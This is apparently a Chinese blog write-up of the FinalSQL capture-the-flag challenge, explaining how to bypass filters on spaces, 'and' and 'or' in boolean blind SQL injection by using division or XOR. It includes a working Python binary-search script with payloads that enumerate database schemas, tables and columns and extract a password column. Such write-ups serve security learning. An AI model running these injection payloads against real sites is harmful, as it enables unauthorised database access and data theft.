[极客大挑战 2019]FinalSQL--布尔盲注

直接看题

可以看到题目给了提示盲注!那么接下来就是寻找注入点了!

那么不能发现注入点就是id了!注入类型为数值型注入!这里直接尝试盲注。但是这里and被过滤了&&也不行。问了几个师傅说用or,但是空格被过滤了,||也被过滤了。所以似乎不行!

不用空格是起不到效果的!所以这里另寻他法。那么如果你要替换一个东西你可以去思考一下它为什么能起作用!那么盲注的本质是什么?其实就是利用了页面的回显的不同在佐证我们对flag的盲猜 !那么你会发现id=0时是查询失败的,id=1是查询成功的,然后呢我们盲注语句也是返回1和0的,于是就想有没有一种运算使得1()1为1,1()0为0!那么这里我就想到了/,尽管不满足1/0为0,但是也是可以区分了!

而且这里mysql也是支持的!于是就直接开打!

python 复制代码
import requests

url = "http://0fec30ef-0317-4d57-8e6a-803bb5a076d0.node5.buuoj.cn:81/search.php?id="
result = ''
i=0

while True:
    i = i + 1
    head = 32
    tail = 126

    while head < tail:                          
        mid = (head + tail) >> 1 
        #payload = f'1%2F(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+'
        #payload = f'1%2F(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})--+'
        #payload = f"1%2F(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{i},1))>{mid})--+"
        payload = f"1%2F(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"
        r = requests.get(url + payload)
        if "NO! Not this! Click others~~~" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:                                    #用于判断是否找完了flag
        result += chr(head)
    else:
        break
    print(result)
#二分法脚本

那么后面发现异或^运算也是可以的。1 ^ 1=0, 1 ^ 0=1!

相关推荐
数厘1 小时前
2.12 sql 数据插入(INSERT INTO)
数据库·sql·oracle
A__tao1 小时前
一键实现 SQL → ES Mapping 转换,支持自定义 `text` 为 `json` 转换
sql·elasticsearch·json
XDHCOM13 小时前
PostgreSQL 25001: active_sql_transaction 报错原因分析,故障修复步骤详解,远程处理解决方案
数据库·sql·postgresql
祖传F8716 小时前
quickbi数据集数据查询时间字段显示正确,仪表板不显示
数据库·sql·阿里云
悟道子HD17 小时前
SRC漏洞挖掘——2.SQL注入漏洞实战详解
sql·web安全·网络安全·渗透测试·sql注入·sqlmap·暴力破解
需要点灵感20 小时前
SQL Server 存储过程语法整理
数据库·sql
沃尔威武20 小时前
性能调优实战:从火焰图定位到SQL优化的全流程
android·数据库·sql
数厘21 小时前
2.7SQL 四大分类:理解与避坑
数据库·sql
XDHCOM21 小时前
ORA-31215: DBMS_LDAP PL/SQL无效LDAP修改值,Oracle报错故障修复与远程处理方案,快速解决连接配置难题
数据库·sql·oracle
rockey62721 小时前
AScript动态脚本多语言环境支持
sql·c#·.net·script·eval·function·动态脚本